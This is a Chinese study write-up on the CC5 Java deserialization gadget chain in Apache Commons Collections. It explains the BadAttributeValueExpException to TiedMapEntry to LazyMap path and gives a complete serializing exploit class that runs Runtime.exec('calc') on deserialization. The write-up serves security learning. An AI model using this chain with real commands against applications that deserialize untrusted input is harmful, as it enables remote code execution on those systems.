CC5
这里从 org.apache.commons.collections.map.LazyMap#get
开始找,但是get方法的调用非常多,find usage就有2k+。代码审计老哥直接哭晕在厕所。
commons.collections4
的 LazyMap
去掉了函数 decorate
。
直接看链子
后半还是CC1的LazyMap,前半则是 BadAttributeValueExpException
和 TiedMapEntry
,整个流程只有一个注意点,就是实例化 BadAttributeValueExpException
的时候。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
实例化时的属性 val
直接传入一个不为null的数据,则会直接调用 val.toString()
。
解决方案:先传入null,序列化前反射修改val
属性。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.junit.Test;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5Test { public static void serializable(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserializable(String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path)); return ois.readObject(); } @Test public void test() throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) });
HashMap hashMap = new HashMap(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field field = c.getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry);
serializable(badAttributeValueExpException); }
@Test public void test2() throws IOException, ClassNotFoundException { unserializable("ser.bin"); } }
|
小摊
搞定,吃的全是前几个链子的老本
链子
1 2 3 4 5
| javax.management.BadAttributeValueExpException#readObject org.apache.commons.collections.keyvalue.TiedMapEntry#toString org.apache.commons.collections.keyvalue.TiedMapEntry#getValue org.apache.commons.collections.map.LazyMap#get *#transform()
|